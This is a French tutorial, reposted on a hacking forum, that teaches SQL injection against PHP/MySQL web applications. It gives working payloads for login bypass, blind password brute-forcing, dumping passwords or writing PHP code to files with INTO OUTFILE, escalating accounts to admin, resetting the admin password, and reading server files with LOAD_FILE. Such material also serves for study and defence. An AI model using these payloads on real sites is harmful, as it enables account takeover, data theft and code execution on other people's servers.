HackBBS
L’injection (My)SQL via PHP « HackBBS

L’injection (My)SQL via PHP

Source: phpsecure.info

Auteur/Traducteur: leseulfrog@hotmail.com

Table des matières :

1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit

Introduction :

Le texte qui suit va vous apprendre ce que je sais de l’injection SQL dans PHP, avec une base de
donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de
faire de l’injection en rouge. Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d’injection SQL applicables avec le langage PHP, contrairement à l’ASP
ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même,
parfois à grande echelle, et de toute façon la théorie est assez intèressante. Avec les nombreuses
mises à jour de MySQL, il est evident qu’un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l’injection SQL consiste en changer le but premier d’une requête SQL, grâce à des variables
modifiables par l’utilisateur. Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:

$req = “SELECT * FROM membres WHERE name LIKE ‘%$search%’ ORDER BY name”;


où $search est la variable modifiable par l’utilisateur, venant d’un formulaire post (ou autre chose) de ce type:

<form method=”POST” action=”<? echo $PHP_SELF; ?>”>
<input type=”text” name=”search”><br>
<input type=”submit” value=”Search”>
</form>


Un exemple d’injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique
(par ‘name’), mais bien par uid, donc par ordre d’inscription, serait de donner à $search la
valeur :
%’ ORDER BY uid#.
La requête executée serait alors transformée en :

SELECT * FROM membres WHERE name LIKE ‘%%’ ORDER BY uid#%’ ORDER BY name

Ce qui n’est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps,
tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le
“magic_quotes_gpc”. Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites
php), les ” et les ‘ vont êtres “slashés”, c’est à dire qu’ils seront transformés en \” et \’.
Donc si c’était le cas dans notre premier exemple, la requête executée aurait été :

SELECT * FROM membres WHERE name LIKE ‘%%\’ ORDER BY uid#%’ ORDER BY name


Ce qui revient à chercher un nom qui contient la phrase : %’ ORDER BY uid# dans la table `membres`,
ce qui ne donne bien sûr aucun résultat. C’est pourquoi dans ce tutoriel nous allons considerer que nous
travaillons sur un site avec le magic_quotes_gpc sur OFF.

Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d’une ou plusieurs tables, INSERT ajoute
un enregistrement, et UPDATE modifie un enregistrement déjà créé.

SELECT :

Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier
le type d’injection SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à
dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées
sont renvoyées vers une requête MySQL :

$req = “SELECT uid FROM admins WHERE login=’$login’ AND password=’$pass’”;


On execute ensuite cette requête, s’il y a un résultat, c’est que le login et mot de passe
existent bien et correspondent, et donc qu’on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l’expression login=’$login’ ou password=’$pass’ renvoie ‘vrai’, il faudrait que le
login ou le mot de passe entré dans $login/$pass existe.
C’est le moment de parler des conditions qui renvoient toujours ‘vrai’. On devrait plus les appeler
des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours ‘vrai’ :

SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE ‘uuu’='uuu’
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1–1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE ‘b’ BETWEEN ‘a’ AND ‘c’
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END


Vous l’avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1… hé oui), 1 est different de 2, 3
est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc… Il en existe bien sûr bien d’autres.
Cette idée d’expression qui renvoie toujours ‘vrai’ est un des grands principes de l’injection SQL.
En effet, si on arrive à insérer un “toujours vrai” dans la requête, inutile
d’avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur :
‘ OR ‘a’='a, on executera une requête SQL du type :

SELECT uid FROM admins WHERE login=” OR ‘a’='a’ AND password=” OR ‘a’='a’


Ce qui renverra ‘vrai’, puisque ‘a’='a’ est toujours vrai !
Ici, c’est le premier enregistrement de la table qui sera choisie, l’uid extrait sera donc ‘1′.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login “John”
et comme $pass une expression renvoyant toujours ‘vrai’, par exemple :
‘ OR ‘b’ BETWEEN ‘a’ AND ‘c,
ce qui executera la requête :

SELECT uid FROM admins WHERE login=’John’ AND password=” OR ‘b’ BETWEEN ‘a’ AND ‘c’

Voyons maintenant un autre grand principe de l’injection sql, qui peut être utile dans l’exemple
que nous avons ici, et dans d’autres à venir : l’utilisation de caractères “commentaires”.
Il y a d’abord le caractère # qui commente tout ce qui le suit (ce n’est donc plus exécuté sur la BD).
Par exemple:

SELECT * FROM table WHERE nom=’Jack’# commentaire


exécutera la requête :

SELECT * FROM table WHERE nom=’Jack’


L’autre possibilité est d’utiliser /* et */, qui transforme en commentaires ce qui
se trouve entre les 2. Par exemple :

SELECT * FROM table WHERE /* commentaires */ addresse=’25 rue des roubys’


exécutera la requête :

SELECT * FROM table WHERE addresse=’25 rue des roubys’


L’utilisation de ces caractères dans l’injection SQL va ici principalement nous
servir à faire ignorer des parties de requête à l’execution, de façon à sauter des conditions,
un peu comme la méthode ‘jump’ en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login :
John’#, ce qui donnera la requête :

SELECT uid FROM admins WHERE login=’John’#’ AND password=”


et la partie ‘ AND password=” sera ignorée.
L’injection peut servir à beaucoup de choses, de beaucoup de manières différentes.
Imaginons par exemple qu’il y ait plusieurs niveau d’administration (appelons le champ de la table ‘admin’:
‘admin_level’), que le premier membre enregistré n’est qu’un modérateur et qu’on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur :
‘ OR admin_level=1#, ce qui donnerait
la requête suivante :

SELECT uid FROM admins WHERE login=” OR admin_level=1#’ AND password=”

Une autre façon d’utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas
de vérifier directement le login ET le mot de passe dans une requête sql, mais bien d’extraire d’abord le
mot de passe en fonction du login, avec une
ligne de code comme :

$req = “SELECT password FROM admins WHERE login=’$login’”;


Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n’est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :

SELECT * FROM table INTO OUTFILE ‘/complete/path/to/file.txt’


enregistrera tout le contenu de la table ‘table’ dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login :
John’ INTO DUMPFILE ‘/path/to/site/file.txt, la requête deviendra :

SELECT password FROM admins WHERE login=’John’ INTO DUMPFILE ‘/path/to/site/file.txt’


Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours ‘vrai’,
par exemple en donnant à $login la valeur suivante :
‘ OR 1=1 INTO OUTFILE ‘/path/to/site/file.txt.
Il y a cependant quelques conditions à l’utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c’est que si la requête extrait plusieurs colonnes,
elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE
elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.

Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte
nommé ‘frog’ sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe.
Si on y mets un code PHP, puis qu’on tape dans le formulaire, comme $login : frog’ INTO OUTFILE ‘/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l’on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d’autres
possibilités (ici ça aurait pu être du code dans un message, dans le profile,…).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)

L’injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches
un peu spéciales, entre autre grâce au ‘LIKE’.
Je vais reprendre, pour expliquer ce point, la requête de départ
(à part un changement de table) :

$req = “SELECT uid FROM membres WHERE login=’$login’ AND password=’$pass’”;


mais je tiens à dire encore une fois que j’aurais pu prendre pleins d’autres exemples, entre autre la requête
montrée dans l’intro (que vous devriez comprendre completement après cette partie, si ce n’était pas le cas avant).
D’abord un peu de théorie purement SQL (sans l’injection :)) :

SELECT * FROM table WHERE msg LIKE ‘%hop’


va extraire tout les éléments de la table ‘table’, où le champ ‘msg’ termine part ‘hop’.

SELECT * FROM table WHERE msg LIKE ‘hop%’


va extraire tout les éléments de la table ‘table’, où le champ ‘msg’ commence part ‘hop’.

SELECT * FROM table WHERE msg LIKE ‘%hop%’


va extraire tout les éléments de la table ‘table’, où le champ ‘msg’ contient ‘hop’.

SELECT * FROM table WHERE msg LIKE ‘h%p’


va extraire tout les éléments de la table ‘table’, où le champ ‘msg’ commence par h et termine part p.

SELECT * FROM table WHERE msg LIKE ‘h_p’


va extraire tout les éléments de la table ‘table’, où le champ ‘msg’ commence par h et
termine part p, et contient un seul caractère à l’endroit du _.
Passons maintenant à l’injection. Le LIKE peut nous permettre de ‘brute forcer’ des informations de la base
de donnée. Par exemple, si nous voulons savoir si la première lettre du mot de passe de l’utilisateur Bob, on
pourrait (entre autre) donner comme valeur à $login :
Bob’ AND password LIKE ‘a%’#, ce qui donnerai la requête :

SELECT uid FROM membres WHERE login=’Bob’ AND password LIKE ‘a%’#’ AND password=”


Si on rentre dans le compte de Bob, c’est que son mot de passe commence bien par a. Sinon,
il nous suffit de tenter une autre première lettre… puis quand elle sera trouvée, de recommencer avec la deuxième,
la troisième, la quatrième lettre etc…
L’injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l’utilisation
de ses connaissances SQL. Car la connaissance de l’injection SQL commence avec la connaissance du langage
SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c’est qu’on ne sait pas
la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme
continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login :
Bob’ AND LENGTH(password)=6#, on obtiendra la requête :

SELECT uid FROM membres WHERE login=’Bob’ AND LENGTH(password)=6#’ AND password=”


Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.

Reprenons la requête de l’intro :

$req = “SELECT email, website FROM membres WHERE name LIKE ‘%$search%’ ORDER BY name”;


pour parler un peu du ORDER BY. Son utilité n’est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d’extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J’ai legerement modifié la requête de début pour qu’on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l’intro j’ai évoqué l’idée de mettre comme valeur à $search :
%’ ORDER BY uid# ce qui donne la requête :

SELECT * FROM membres WHERE name LIKE ‘%%’ ORDER BY uid#%’ ORDER BY name


et nous affiche tout les membres classés par ordre d’inscription. Cela pourrait être utile pour repérer
l’administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s’il y a un champ type user_level),
par mot de passe, en donnant à $search la valeur:
%’ ORDER BY password#,
par longueur de mot de passe (
%’ ORDER BY LENGTH(password)#), etc…
C’est d’autant plus interessant pour faire des comparaisons, c’est-à-dire dans ce cas-ci, si on peut
nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce
à sa place aux mots de passe des autres.
Dans certains scripts, c’est plus simple, la requête est de type :

$req = “SELECT email, website FROM membres WHERE name LIKE ‘%$search%’ ORDER BY $orderby”;


(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l’ordre croissant
(0->9, a->z,…). Si on place le mot ‘DESC’ à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l’ordre décroissant.

INSERT :

Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d’ajouter
de nouveaux enregistrements à une table. L’utilisation utile d’injection SQL dans une requête INSERT est plus
rare, mais existe néanmoins.
Si on prend l’exemple de l’inscription d’un membre, ce qui est le plus courrant, on peut imaginer
d’abord une table créée de cette façon:

CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


Il y a donc dans cette table un id utilisateur, comme clef primaire qui s’auto incrémente, le login,
mot de passe, nom, email et le niveau de l’utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :

$query1 = “INSERT INTO membres (login,password,nom,email,userlevel) VALUES (’$login’,'$pass’,'$nom’,'$email’,'1′)”;


Quatre variables sont modifiables ici, donc quatre possibilités d’injection.
Prenons pour l’exemple la plus simple, la variable $email. Si on lui donne comme valeur :
‘,’3′)# ,
la requête deviendra:

INSERT INTO membres (login,password,nom,email,userlevel) VALUES (”,”,”,”,’3′)#’,'1′)


et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre
‘,”,’3′)#, pour $pass ‘,”,”,’3′)# etc…
Ceci n’est pas la seule façon d’utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt
si la table avait été créée de cette façon :

CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default ‘1′,
PRIMARY KEY (id)
)


Le changement est qu’userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que,
lorsqu’on s’inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par
l’administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l’userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :

$query2 = “INSERT INTO membres SET login=’$login’,password=’$pass’,nom=’$nom’,email=’$email’”;


Pour modifier son niveau d’utilisateur, il suffira d’entrer dans une des quatre variables la valeur suivante:
‘,userlevel=’3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :

INSERT INTO membres SET login=”,password=”,nom=”,userlevel=’3′,email=”


Et le nouvel utilisateur sera créé avec des droits administrateurs.

Imaginons maintenant que l’id soit un chaîne de caractères créée aléatoirement. La création de la table
se ferait alors de la sorte:

CREATE TABLE membres (
id varchar(15) NOT NULL default ”,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


La requête SQL pourrait alors être du type :

$query3 = “INSERT INTO membres VALUES (’$id’,'$login’,'$pass’,'$nom’,'$email’,'1′)”;


Et l’injection SQL du même type que pour la première requête. On peut par exemple donner à la variable
$email la valeur:
a@a.a’,'3′)#, ce qui donnerait le droit administrateur à l’utilisateur créé, avec la requête :

INSERT INTO membres VALUES (’[ID]‘,’[LOGIN]‘,’[PASS]‘,’[NOM]‘,’a@a.a’,'3′)#’,'1′)

UPDATE :

Voyons maintenant les requêtes UPDATE, qui sont moins répandues que les SELECT, plus que les INSERT,
et qui permettent de mettre à jour les champs d’un enregistrement dans la table d’une base de données.
Reprenons pour le premier exemple la table :

CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


qui est donc une table créée pour une partie membres.
Un endroit où on pourrait trouver une requête UPDATE dans une partie membre est le changement des
informations d’un membre, la modification de son profil utilisateur. Ici on pourrait y changer son mot de passe,
son nom et son email.
La requête SQL serait alors du type :

$sql = “UPDATE membres SET password=’$pass’,nom=’$nom’,email=’$email’ WHERE id=’$id’”;


Imaginons d’abord que l’$id ne soit pas modifiable par l’utilisateur - ce qui serait un problème de
sécurité qui n’est plus lié à l’injection SQL.
Une première possibilité ici serait de modifier un autre champ que les champs password, nom et email,
par exemple le champ userlevel, qui, je le rappelle, contient le niveau de modération de l’utilisateur.
Ceci serait possible en donnant par exemple à $nom la valeur :
‘,userlevel=’3 ce qui donnerai comme requête SQL :

UPDATE membres SET password=’[PASS]‘,nom=”,userlevel=’3′,email=’[EMAIL]‘ WHERE id=’[ID]‘


De cette façon il est donc possible de modifier n’importe que champ de votre enregistrement dans la table.
Mais il y a mieux. On peut également, si cette injection SQL est possible, opérer une
autre injection qui, en plus de pouvoir changer n’importe quel champ d’un enregistrement, pourrait changer le
s champs de n’importe quel enregistrement !
En effet imaginons que l’on donne à $pass la valeur :
[nouveaupass]‘ WHERE nom=’Admin’#.
La requête deviendrait alors :

UPDATE membres SET password=’[nouveaupass]‘ WHERE nom=’Admin’#',nom=’[NOM]‘,email=’[EMAIL]‘ WHERE id=’[ID]‘


le SQL exécuté (donc sans les commentaires) serait :

UPDATE membres SET password=’[nouveaupass]‘ WHERE nom=’Admin’


et le mot de passe du compte dont le nom est “Admin” deviendrait [nouveaupass].

Dernière possibilité pour arriver au même résultat : si l’$id est modifiable par l’utilisateur,
on peut lui donner la valeur : ‘ OR name=’Admin, ce qui donnerait la requête :

UPDATE membres SET password=’[PASS]‘,nom=’[NOM]‘,email=’[EMAIL]‘ WHERE id=” OR name=’Admin’


ce qui, encore une fois, changerait les informations du compte d’Admin et nom pas de notre propre compte.

Voilà les grandes lignes. Pour voir un peu plus en profondeur, je vais changer d’exemple,
et prendre la table créée de la manière suivante :

CREATE TABLE news (
idnews int(10) NOT NULL auto_increment,
title varchar(50),
author varchar(20),
news text,
Votes int(5),
score int(15),
PRIMARY KEY (idnews)
)


qui est donc une table déstinée à contenir des news, avec un titre, un auteur, bien sûr un contenu,
mais qui permettra aussi de voter pour chaque news, avec un nombre de votants et un score.
Pour voter, la requête sera du style :

$sql = “UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews=’$id’”;


Je prends cet exemple car c’est via une requête de ce style que j’ai approfondi ma connaissance
de l’injection SQL dans les requêtes UPDATE, plus précisemment dans PHP-Nuke, et j’ai retrouvé la faille dans
d’autres services (annuaires de liens,…).
Ici on ne va pas toucher à la variable $id; sa modification ne nous servirait à rien,
puisqu’on peut voter pour chacune des news.
On voit donc que la requête incrémente “Votes”, qui est le nombre de votants,
et ajoute à “score” le nouveau score choisi.
On remarque d’abord qu’en complétant correctement la requête, on peut
modifier n’importe quel champ de la news choisie.
Par exemple en donnant à $id le valeur 12 et à $note la valeur :
3, title=’hop’ on obtiendra la requête :

UPDATE news SET Votes=Votes+1, score=score+3, title=’hop’ WHERE idnews=’12′


qui ajoutera un votant, augmentera le score de 3 points et changera le titre de la news n° 12 en ‘hop’.

Un point plus intéressant dans cette requête est qu’une injection peut être effectuée, que
magic_quotes_gpc soit sur ON OU sur OFF, ce qui est le principal problème dans l’injection SQL avec PHP.
En effet la variable modifiable $note n’est entourée ni de guillements ni d’apastrophes.
On peut donc changer le but premier de la requête, sans utiliser de ‘ ou de “, et donc
sans avoir de problèmes avec les filtres de la configuration PHP.
Un exemple d’injection sans ‘ ni ” : on donne à $note la valeur : 3,Votes=0 pour avoir la requête :

UPDATE news SET Votes=Votes+1, score=score+3,Votes=0 WHERE idnews=’12′


et remettre le nombre de votants à 0.
Evidemment, on ne peut changer (à première vue) que les chiffres, car pour définir un char,
varchar, text,… il faut utiliser des ‘ ou ” (title=’hop’).
C’est là qu’interviennent les fonctions de conversions de chaînes de caractères. Par exemple,
la fonction MySQL char(), qui renvoie la valeur qui correspond aux chiffres donnés en ASCII.
Donc char(97,98,99) vaudra “abc”. Il est donc possible d’insérer du texte sans être bloqué par le magic_quotes_gpc.
Par exemple pour changer le titre en “hop”, on pourra donner à $note la valeur
3, title=char(104,111,112),
ce qui donnera la requête :

UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews=’12′

On peut avoir facilement la valeur hexadecimale via SQL
lui-même en utilisant la fonction ASCII() ou ORD(). ASCII(’h') et ORD(’h') renvoient 104.
Il est également possible de jouer avec les caractères sans ‘ ou ” grâce au fait que MySQL
reconnait directement les caractères hexadécimaux et les convertit. Par exemple 0×616263 est compris comme “abc”.
Donc si on atttribue à $note la valeur
3, title=0×616263 , le titre sera changé en “abc” car la requête effectuée sera :

UPDATE news SET Votes=Votes+1, score=score+3, title=0×616263 WHERE idnews=’12′

Enfin, une troisième possibilité est l’utilisation de la
fonction CONV(), qui convertit d’une base à l’autre (base minimum 2, maximum 36).
Par exemple on pourrait donner à $note la valeur
3, title=CONV(10202210,3,16), 3, title=CONV(5274,8,16),
etc… pour transformer le titre en “abc”. Ce qui est pratique avec cette fonction,
c’est que pour savoir la valeur à donner au premier argument, il suffit de convertir dans l’autre sens,
c’est-à-dire d’exécuter SELECT CONV(”abc”,16,3), CONV(”abc”,16,8).

Quelques informations peuvent également être extraites grâce aux fonctions DATABASE()
et USER() ( ou SYSTEM_USER() ou CURRENT_USER() ou SESSION_USER() ) qui renvoient respectivement
le nom de la base courante et le nom de l’utilisateur courant. Ainsi on aura le nom de la base de donnée utilisée dans le
titre en attribuant comme valeur à $note: 3, title=DATABASE(), ce qui donne la requête :

UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews=’12′

Parlons enfin d’une fonction extrêmement intéressante, mais qui s’applique rarement:
la fonction LOAD_FILE().
Comme le dit son nom, elle charge un fichier donné en argument. Plus précisément elle lit et retourne
comme une chaîne le contenu du fichier donné en argument.
Il y a plusieurs conditions à son utilisation :
- Le fichier doit être sur le serveur
- Son path complet doit être spécifié
- On doit avoir le privilège FILE
- Le fichier doit être lisible par tous
- Le fichier doit être plus petit que le max_allowed_packet

Si toutes ces conditions sont remplies, on peut enfin charger des fichiers dans la base de données.
Le champ pouvant contenir le plus de caractères est le champ “news” (de type text), c’est donc celui-ci que nous
allons utiliser. Pour copier par exemple le fichier /tmp/picture (je reprend l’exemple de
MySQL pour ne pas utiliser le classique /etc/passwd) dans le champ “news” de la news 12, on peut attribuer à $note
la valeur 3, news=LOAD_FILE(’/tmp/picture’) ce qui donnera la requête :

UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE(’/tmp/picture’) WHERE idnews=’12′

Conclusion/Credit :

Voilà déjà pas mal de choses qui peuvent se faire avec l’injection SQL… ça change de
l’éternel 1=1 qu’on voit partout dans les textes à ce sujet.
Il manque certainement certaines choses, comme par exemple l’UNION, ajouté dans la version 4.0.0 de MySQL,
je ferais donc peut-être des rajouts par la suite à ce texte. Si c’est le cas je les mentionnerais ici, avec la
date correspondante.
Pour tout commentaire, questions,… vous pouvez me mailer à
leseulfrog_at_homail.com.
Mes tutoriels sont disponibles sur
http://www.phpsecure.info/v2/tutos/frog/ .
Ce texte a été achevé le jeudi 3 juillet 2003 (et il pleut !).
Texte publié dans “
The Hackademy Manuel” #5

frog-m@n

Leave a Reply


Nouveau défi
Défi audioDéfi visuel
Aide